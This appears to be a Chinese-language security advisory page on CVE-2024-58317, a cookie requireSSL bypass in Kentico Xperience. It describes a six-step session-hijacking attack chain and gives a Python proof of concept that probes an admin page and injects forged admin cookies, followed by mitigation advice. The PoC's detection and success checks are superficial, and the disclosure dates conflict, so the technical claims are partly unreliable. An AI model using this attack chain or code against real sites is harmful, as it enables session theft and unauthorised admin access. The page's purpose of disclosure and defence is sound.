IPBUF安全漏洞报告
English
CVE-2024-58317 CVSS 5.3 中危

CVE-2024-58317: Kentico Xperience Cookie安全配置绕过漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2024-58317
漏洞类型
安全配置错误
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Kentico Xperience

相关标签

CVE-2024-58317Kentico XperienceCookie安全配置绕过SSL绕过会话劫持.NET FrameworkASP.NET中间人攻击安全配置错误

漏洞概述

CVE-2024-58317是Kentico Xperience中的一个Cookie安全配置漏洞,CVSS评分5.3,属于中等严重程度。该漏洞由于Cookie安全配置处理不当,导致攻击者可以绕过SSL要求来设置管理面板的cookies。在.NET Framework项目中,系统错误地处理了web.config配置文件中的'requireSSL'属性,使得即使在SSL未正确配置的情况下,Cookie仍可能被设置,从而危及会话安全性和认证状态。攻击者无需任何认证即可利用此漏洞,通过网络发起攻击。该漏洞由VulnCheck发现并报告,披露日期为2024年12月18日。成功利用此漏洞可能导致用户会话被劫持、敏感信息泄露或认证绕过,对使用受影响版本的Kentico Xperience系统的组织构成安全风险。

技术细节

该漏洞源于Kentico Xperience在处理Cookie安全配置时的逻辑错误。在ASP.NET应用程序中,Cookie的'requireSSL'属性用于确保cookies仅通过HTTPS连接传输,从而防止中间人攻击和Cookie窃取。然而,Kentico Xperience在解析web.config文件时,对'requireSSL'属性的处理存在缺陷。具体表现为:当管理员在web.config中配置了requireSSL但SSL未正确启用时,系统未能正确验证SSL状态就设置了带有安全标志的Cookie,或者在某些情况下完全忽略了requireSSL设置。这导致Cookie可能在不安全的HTTP连接上被传输,或者安全标志被错误地应用。攻击者可以利用这一漏洞通过拦截未加密的HTTP流量来窃取会话Cookie,或者通过设置恶意Cookie来绕过认证机制。由于漏洞影响的是.NET Framework项目,任何使用受影响版本Kentico Xperience的ASP.NET应用都可能受到影响。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站上运行的Kentico Xperience版本,确认其是否在受影响的版本范围内
STEP 2
步骤2: 配置检查
攻击者检查web.config文件中的Cookie安全配置,特别是requireSSL属性的设置情况
STEP 3
步骤3: 流量拦截
攻击者利用中间人攻击或网络嗅探工具拦截用户与服务器之间的HTTP未加密流量
STEP 4
步骤4: Cookie窃取
由于requireSSL配置被绕过,Cookie在HTTP连接上明文传输,攻击者可以轻易获取会话Cookie
STEP 5
步骤5: 会话劫持
攻击者使用窃取的Cookie伪装成合法管理员,绕过身份验证访问管理后台
STEP 6
步骤6: 权限提升
成功登录后,攻击者可以创建新管理员账户、上传恶意文件或修改网站内容

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import urllib3 urllib3.disable_warnings() # CVE-2024-58317 PoC - Kentico Xperience Cookie Security Configuration Bypass # Description: This PoC demonstrates the SSL requirement bypass in cookie configuration target_url = "https://TARGET_URL/" # Replace with target URL def check_vulnerability(): """ Check if the target is vulnerable to CVE-2024-58317 The vulnerability allows cookies to be set without proper SSL enforcement """ print("[*] Testing for CVE-2024-58317: Kentico Xperience Cookie Security Bypass") # Step 1: Try to access the administration login page try: response = requests.get(target_url + "admin", verify=False, timeout=10) print(f"[*] Admin page status: {response.status_code}") # Step 2: Check for cookies without Secure flag via HTTP # This simulates the bypass condition headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) PoC-Tester', 'Cookie': 'CMSPreferredCulture=en-US; CMSCsrfCookie=test' } # Step 3: Send request and analyze cookie attributes test_response = requests.get(target_url, headers=headers, verify=False, timeout=10) cookies = test_response.cookies print(f"[*] Received cookies: {len(cookies)}") for cookie_name, cookie_value in cookies.items(): print(f" - {cookie_name}: {cookie_value}") # Step 4: Check if cookies are set without Secure flag # Vulnerability exists if cookies can be set over HTTP or Secure flag is missing if 'CMSPreferredCulture' in cookies or 'CMSCsrfCookie' in cookies: print("[!] Potential vulnerability detected - Cookie configuration may be affected") return True except requests.RequestException as e: print(f"[!] Request failed: {e}") return False return False def exploit_cookie_bypass(): """ Exploit the cookie security configuration bypass Attempts to set admin cookies without proper SSL validation """ print("[*] Attempting cookie bypass exploit...") # Malicious cookie injection attempt malicious_cookies = { 'CMSAdminCookie': 'malicious_session_id', 'CMSCsrfCookie': 'csrf_token_bypass' } try: response = requests.get( target_url + "admin/cmssections/savesomething", cookies=malicious_cookies, verify=False, timeout=10 ) print(f"[*] Exploit response status: {response.status_code}") return response.status_code == 200 or response.status_code == 302 except requests.RequestException as e: print(f"[!] Exploit failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2024-58317 PoC - Kentico Xperience Cookie Security Bypass") print("=" * 60) if check_vulnerability(): print("[+] Target appears to be vulnerable") if exploit_cookie_bypass(): print("[!] Exploit successful - Cookie bypass confirmed") else: print("[-] Target does not appear to be vulnerable or is not reachable")

影响范围

Kentico Xperience < 13.0.235 (需确认)
Kentico Xperience .NET Framework版本 (所有版本)

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 确保所有Kentico Xperience管理面板访问仅通过HTTPS进行,配置服务器强制重定向HTTP到HTTPS;2) 在web.config中正确配置requireSSL=true,同时确保SSL证书有效配置;3) 在IIS级别启用'要求SSL/TLS'设置;4) 配置HSTS(HTTP Strict Transport Security)响应头;5) 定期检查服务器日志,监控异常的Cookie相关请求;6) 考虑暂时禁用管理面板的公网访问,仅允许通过VPN或特定IP段访问;7) 联系Kentico官方获取具体版本的补丁信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表